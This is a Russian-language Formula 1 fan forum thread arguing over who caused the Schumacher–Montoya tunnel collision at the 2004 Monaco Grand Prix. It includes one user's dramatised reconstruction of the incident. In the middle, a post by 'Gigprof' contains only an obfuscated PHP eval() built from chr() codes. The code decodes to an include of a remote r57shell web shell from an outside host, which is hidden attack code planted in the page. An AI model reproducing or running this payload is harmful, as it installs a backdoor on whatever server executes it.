Cезон 2004

[avaria]

Проголосовал за МШ.

Больше виноватых не вижу.

[Red Angel]

Понятно, что виноват Монтойя. Если уже не верить себе, то хотя бы Кулхарду и Трулли( последний вообще за ними ехал и сказал, что думал, что они столкнуться еще до туннеля). И вообще, когда все остальные машины (это хорошо видно на повторе) ехали друг от друга на расстоянии приблезительно в два корпуса, то Монтойя приклеялся к Шуми. Наверняка его месть за Имолу была сладкая...

[sps]

По моему мнению в первую очередь виноват Шумахер так как создал аварийную ситуацию, но не менее виноват Монтойя, так как не "притормозил". Короче замстил

[Desavor]

Виноватых, кроме МШ, тут и быть не может.

Шумахера, кстати, можно было и бы наказать, если бы он как-то помешал вести дальнейшую гонку Монтое - он ведь его чуть-чуть не вынес...

[din]

мш сам ошибся, сам вылетел, никого не взяв с собой

он не виноват

так получилось

это гонки (С)

не голосую

[Senna_]

Даже находящийся третим Трули признал, что Хуан был слишком близок к Михаэлю.

Однозначно круговой виноват. Если он вообще бывает виноват.

Мне кажеться перед уходом пейс кара, все стараются как можно ближе находиться от лидера, а Монтоя вообще его хотел обогнать! Он же пробывал догнать Барика у которого явно были проблемы и еще должен был быть один пит. Только потом команда поняла, что это бесполезно, но а на протяжение нескольких кругов он все же пытался. То, что Монти находился рядом с шумахером, я ничего в этом плохого не видел!

Настоящие профи никогда резко не тормозят на желтый мигающий! бояться удара в зад. Ил перед торможением смотрят в зеркало То , что я шума считаю профи - одназначно, просто ложанулся. Сам и пострадал....и по делом

[LICH]

я огорчен, ребята, ну сколько можно?? Исходя из какой информации вы высасываете свои мнения?? ОТКУДА вы знаете, что именно делали в эти доли секунды МШ и ХПМ, какова игра педалей, если не имеете даже элементарных онбоардов, я уже не говорю о данных телеметрии. Все, что у вас есть-2 камеры на стенке тоннеля

[Ростовский]

Нафиг было такую тему создавать ... ?

Для болельщиков Шумахера виноват Монтойя, для остальных - Михаэль.

[Hard]

Не понял в названии темы ТРИ виноватых. МШ, ХПМ и тоннель. А голосовать можно только за первых двух! Дедушка непорядок я считаю во все виноват тоннель! А проголосовать не могу, НЕПОРЯДОК!

[BrAA]

Глобально виновата вся команда BAR, узкоглазого надо было на втором круге уже заганять в боксы, однако Honda решила, что дымок - это просто Сато решил покурить, но дымок своё сделал. Если бы Сату убрали в боксы, возможно столкновения в тоннеле и не произошло бы. ( Если бы да кабы - в рту росли мухоморы).

А так считаю, что ХПМ обязан был держать необходимую безопасную дистанцию от впереди идущего автомобиля, тем более что не умеет быстро реагировать на торможение лидирующего.

С уважением ко всем любителям Ф1

[August]

Виноват будущий семикратный...Так забавно начудил...А вообще я расцениваю случившееся как некое возмездие судьбы для него...

[Crazy_Driver]

Мое мнение такое - никто не виноват. ХПМ не виноват, что МШ решил резко затормозить и крутануть баранку направо. МШ не виноват, потому что не перед кем - он никого же не вынес . Если и виноват, то только перед самим собой, командой и болельщиками

[Mouser]

Некоторые не правильно воспринимают слово "виноват" в данном контексте. Виноват - не в смысле перед кем-то. А в смысле создал инцидент, или автор столкновения.

Я вижу это так: Был инцидент - столкновение с вылетом. У него есть пилот (пилоты), его создавший. В этом смысле виноватый есть в любом случае, поэтому вариант "никто" не катит.

У нас есть мало информации, как метко заметил Lich.

Полная информация была у стюартов, они вынесли решение - никто не наказан.

Исходя из их решения можно сделать два предположения:

- никто не выноват, т.е. столкновение стало случайным стечением обстоятельств считаю маловероятным - не тот случай);

- виноват Шумахер, но уже сам себя наказал, закончив гонку.

Аналогично с Алонсо.

Вот такая вот формальная логика.

[Mouser]

Глобально виновата вся команда BAR, узкоглазого надо было на втором круге уже заганять в боксы, однако Honda решила, что дымок - это просто Сато решил покурить, но дымок своё сделал. Если бы Сату убрали в боксы, возможно столкновения в тоннеле и не произошло бы. ( Если бы да кабы - в рту росли мухоморы).

А так считаю, что ХПМ обязан был держать необходимую безопасную дистанцию от впереди идущего автомобиля, тем более что не умеет быстро реагировать на торможение лидирующего.

С уважением ко всем любителям Ф1

У вас, уважаемый из памяти вывалилось полгонки. МШ разбился под вторым пейскаром, вызванным вылетом Алонсо. А взрыв BARа Сато создал первы пейскар.

[Max]

Подытожив прочитанное и увиденное...

Акутагаве Рюноске посвящается или "Что случилось в тоннеле"

Превью: "Барикелло-ХПМ" - "Я был пассажиром в своем болиде"

После ухода первого пейскара ХПМ делает Рубиньо как маленького. Барик жалуется на резинку: "В повороте Казино внезапно заблокировалось колесо - точно так же, как при повреждении покрышки. Я сказал команде по радио, что мне нужно сменить покрышки, но потом машина прошла круг нормально, а колеса снова и снова блокировались."

ХПМ не получает преимущества из обгона, т.к. едет на пит.

МШ Эпизод 1: После первой ямы он обгоняет Кими и Кнопкина, но к паре Рено особо не приближается – ждет «прикатки» Бриджа и расхода горючки. Получает информацию о траблах Барика с резиной, обгоне на рестарте.

МШ-ХПМ Эпизод 2: Вторая «иудейская машина» делает МШ лидером, а ХПМ – круговым (не заметил – заезжал ли ХПМ на яму под 2 пейсом???).

МШ – озабочен резиной и тормозами (см. Барик), а также необходимостью срочного создания отрыва, чтобы остаться в лидерах после второго пита (ИМХО – пит, все ж, должен был быть, и если не для топлива, то для новых покрышек – напомню про «супермягкий» Бридж). Думает и о том, чтобы не напороться на круговых, которые могли бы подпортить ему всю малину. Но круговые ему бы попались не скоро, т.к. весь пелетон собрался за «пейсом». Единственно возможный – Монти, если выскочит сзади на рестарте.

ХПМ – фрустрации на тему: «Ё-т-м! Я, прошлогодний «король» Монако, в глубокой заднице из-за этой гр..ной команды с ее гр..ой машиной и гр..ной тактикой». Понимает, что даже если выскочит впереди МШ, Барика хрен догонит – круг отставания в Монако не отыгрывается. Видит перед собой красную машинку с красным же шлёмом. Тихонько свирепеет. Едет вплотную за МШ полтора круга, рассчитывая все ж для острастки утереть тому нос на рестарте и попортить крови при дальнейшем обгоне на круг.

Кода: МШ получает инфу от Брауна о том, что пейс уходит в боксы. Кидается прогревать резину и тормоза в том месте, где по идее делать этого не следовало – мало ли, что осталось в тоннеле после полета Фонца (масло, обломки), да и нормальная (чистая) траектория одна. Как вариант – (см. трабл Барика) – по тех. причинам блокируется переднее левое колесо. Замедляется, но не чуя подвоха (сзади – круговые, всем тормозить-бояться! Равнение на лидера!) начинает выруливать на траекторию, т.е. дает вправо.

ХПМ: видя дым из-под колес Феррари №1, не тормозит, несказанно радуется и едет вправо на обгон, подозревая у МШ бзик или тех-трабл. Никто не осудит – за первым пейсом также на пару поворотов обогнал Барика – потом вернул позицию (эпизод, кстати, имевший место, но никем не принятый во внимание).

Касание практически сразу после апекса поворота. МШ – в рельс, Монти – «поехали»!

Монти – 5 очков. МШ – расхреначивает шлём о стенку в боксах, пьет водичку. Успокаивается…

Занавес.

По мотивам гонки покойный Акиро Куросава возвращается с того света и снимает фильм «Расёмон 2» с Такумой Сато в главной роли.

[sim]

Хочу выразить свое частное мнение по поводу данного инцидента.

О целях участников данного ДТП.

На мой взгляд МШ имел шансы выграть данный ГП, тк после рестарта на более легкой и мощной машине вполне мог везти 1.5 сек с круга Трулю до своего питстопа. На питстоп ему необходимо где-то

24-25 сек (с учетом оставшихся до финиша кругов). Для того, чтобы максимально использовать рестарт и выйграть в этот момент у Трули 5-8 сек (а если Монтойя не сразу пропустит Труля, то и более) ему необходимо растянуть пелетон. Для этого надо переодически тормозить и разгоняться, чтобы нормальные (в смысле головы) пилоты держали безопастную (максимальную) дистанцию друг от друга.

Теперь о Монтойе. Судя по той дистанции, которую он держал от МШ, в момент рестарта он собирался пойти на обгон. А это ставило крест на шансах МШ (полный крест!!).

Возникает вопрос, зачем Монти обгонять МШ, если в следующем медленном повороте он должен его снова пропустить как круговой.

Поэтому, на мой взгляд, комментарий МШ (ГЛУПОСТЬ МОНТОЙИ) как нельзя лучше отражает реальность.

И в заключении хотелось бы добавить, что такую гонку - с реальной борьбой за победу до последнего круга было бы смотреть гораздо интереснее. Так что Монти лично мне испортил интересную гонку.

[Gigprof]

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //

[SuperDrummer]

Проголосовал за то, что виноваты оба. Но больше виноват, всё-таки Монтойя. Потому что он:

а) был слишком близко к МШ, что не возбраняется, но возлагает ответственность в случае столкновения на идущего сзади;

б) не затормозил, когда увидел, что Шумахер замедлился, а просто дёрнул руль вправо; очевидная неадекватная реакция.

Если уж совсем честно, то по букве закона виноват только Монтойя, но я голосовал за обоюдную вину, потому что так прогревать тормоза, как делал Шумахер некорректно по отношению к соперникам. А соперников надо уважать. Я не думаю, что на самом деле Чарли Уайтинг расценил это как чисто гоночный инцидент. Скорее всего, Монтойе сказали: "Ещё раз - и штрафной балл", но вынесение этого на публику посчитали неправильным.

[Pit]

Max! Респект ,классный спитч.Думаю именно так все и было.

[Gerax]

Браво маэстро! апплодисменты!

[Mouser]

Max, отлично! оч.понравилось.

ХПМ – круговым (не заметил – заезжал ли ХПМ на яму под 2 пейсом?

Каэншна! А как бы иначе он стал круговым? В этом-то и прикол, заехали все, кто "должен был", кроме МШ. И этим своим непосещением боксов он и оставил ХПМ в круге от себя.

за первым пейсом Монти также на пару поворотов обогнал Барика – потом вернул позицию (эпизод, кстати, имевший место, но никем не принятый во внимание)

...потому что это нормально. Барик же не пытался захлопнуть калитку, вот и приехал на подиум.

[SuperDrummer]

После ухода первого пейскара ХПМ делает Рубиньо как маленького. Барик жалуется на резинку: "В повороте Казино внезапно заблокировалось колесо - точно так же, как при повреждении покрышки. Я сказал команде по радио, что мне нужно сменить покрышки, но потом машина прошла круг нормально, а колеса снова и снова блокировались."

Тебе напомнить, кто, когда и в каких случаях на резинку жалуется, или сам догадаешься?

А в гонках используют шины, которые иногда называют резиной, но никак не резинкой.

[BrAA]

Mouser

"Цепь следующих событий есть результат предыдущих".

Не видел смысла описывать все события произошедшие с момента выхода на трассу 1-го SC до момента столкновения в тоннеле.

Считаю, что BAR должна была зазвать Сату в боксы. Всю нервозность гонке появилась именно после этой аварии - в итоге 9 машин не финише, 4 авто - аварии из-за действий других гонщиков.

С уважением к поклонникам Ф1

[SuperDrummer]

Max, отлично! оч.понравилось.

ХПМ – круговым (не заметил – заезжал ли ХПМ на яму под 2 пейсом?

Каэншна! А как бы иначе он стал круговым? В этом-то и прикол, заехали все, кто "должен был", кроме МШ. И этим своим непосещением боксов он и оставил ХПМ в круге от себя.

за первым пейсом Монти также на пару поворотов обогнал Барика – потом вернул позицию (эпизод, кстати, имевший место, но никем не принятый во внимание)

...потому что это нормально. Барик же не пытался захлопнуть калитку, вот и приехал на подиум.

Это может быть и нормально, но Шумми не пытался захлопнуть калитку, а возвращался на траекторию, чтобы там восстановить полный контроль над машиной (потому что там сцепление лучше; он, видимо, испугался повторения подвига Алонсо). А насчёт обгона под пейс-каром... Пока за него не наказывали, но ведь и за обгон на прогревочном круге никого не наказывали до Сильверстоуна-94, когда срочно понадобилось обострить интригу. А правило-то было задолго до этого. Вот и думай...

[Max]

Тебе напомнить, кто, когда и в каких случаях на резинку жалуется, или сам догадаешься?

А в гонках используют шины, которые иногда называют резиной, но никак не резинкой.

Значит, для тех, кто сердцем молод... Поясняю - Барик жаловался на некоторые обстоятельства своего появления на свет